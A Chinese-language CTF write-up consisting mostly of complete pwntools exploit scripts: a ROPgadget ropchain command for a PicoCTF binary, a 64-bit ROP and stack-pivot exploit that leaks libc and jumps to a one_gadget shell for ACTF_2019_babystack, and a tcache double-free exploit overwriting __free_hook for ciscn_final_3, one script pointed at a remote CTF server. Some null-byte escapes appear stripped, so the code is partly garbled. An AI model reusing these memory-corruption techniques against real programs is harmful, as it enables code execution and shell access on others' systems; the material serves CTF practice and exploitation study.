（只有静态直接ropgadget，64位栈迁移，uaf+dou c）picoctf

ROPgadget --binary PicoCTF_2018_can-you-gets-me  --ropchain

其实没什么好说的溢出只有0x10，而且恰好又泄露了栈的地址，真的是好久不见64位rop构造和栈迁移代码（思路是没有问题的不知为什么，在我的电脑上跑不了会报错）

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ACTF_2019_babystack'

r = process(file_name)

elf = ELF(file_name)



r.recvuntil("Welcome to ACTF's babystack!")

r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')

r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x400A18
main_addr = 0x4008F6
pop_rdi_ret = 0x0000000000400ad3

p1 = 'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p1 = p1.ljust(0xd0, 'x00')
p1 += p64(message_addr) + p64(leave_ret)
r.send(p1)

puts_addr = u64(r.recvuntil('x7f')[-6:].ljust(8, 'x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc-2.27(2).so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/shx00').next()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base


r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')

r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')

ret = 0x400A4F


p2 = 'a' * 8 + p64(ret) + p64(one_gadget)
p2 = p2.ljust(0xd0, 'x00')
p2 += p64(message_addr) + p64(leave_ret)
r.send(p2)

r.interactive()

复现了一下别人的exp，2.27是可以在tcache中double free的如果有uaf漏洞就可以伪造堆块修改大小超过0x400来构造unsortbin，但是我们更改前申请的堆的大小总和一点要大于我们构造unsortbin的大小不然就会报错，还有一点在链表里面没有tcache时我们是无法malloc到unsortbin的所以，我们就只能，先随意free一个之后再malloc一个堆块

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_final_3'
r = remote('node4.buuoj.cn', 28095)
r = process(file_name)
elf = ELF(file_name)
menu = 'choice > '

def add(index, size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('input the index', str(index))
    r.sendlineafter('input the size', str(size))
    r.sendlineafter('now you can write something', content)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('input the index', str(index))

add(0,0x78,'a')
r.recvuntil('gift :')
heap_addr = int(r.recvline()[2:],16)
success('heap_addr = ' + hex(heap_addr))
add(1,0x18,'b')

for i in range(2, 12):
    add(i, 0x78, 'aaaa')

add(12, 0x28, 'd')#12

delete(12)
delete(12)

add(13, 0x28, p64(heap_addr - 0x10))
add(14, 0x28, 'a')
add(15, 0x28, p64(0) + p64(0x421))

delete(0)
delete(1)

add(16, 0x78, 'aaaa')
add(17, 0x10, 'bbbb')
add(18, 0x10, 'cccc')

r.recvuntil('gift :')
malloc_hook = int(r.recvline()[2:],16) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

libc = ELF('libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

delete(8)
delete(8)

add(19, 0x78, p64(free_hook))
add(20, 0x78, 'aaaa')
add(21, 0x78, p64(one_gadget))

delete(9)
#gdb.attach(r)
r.interactive()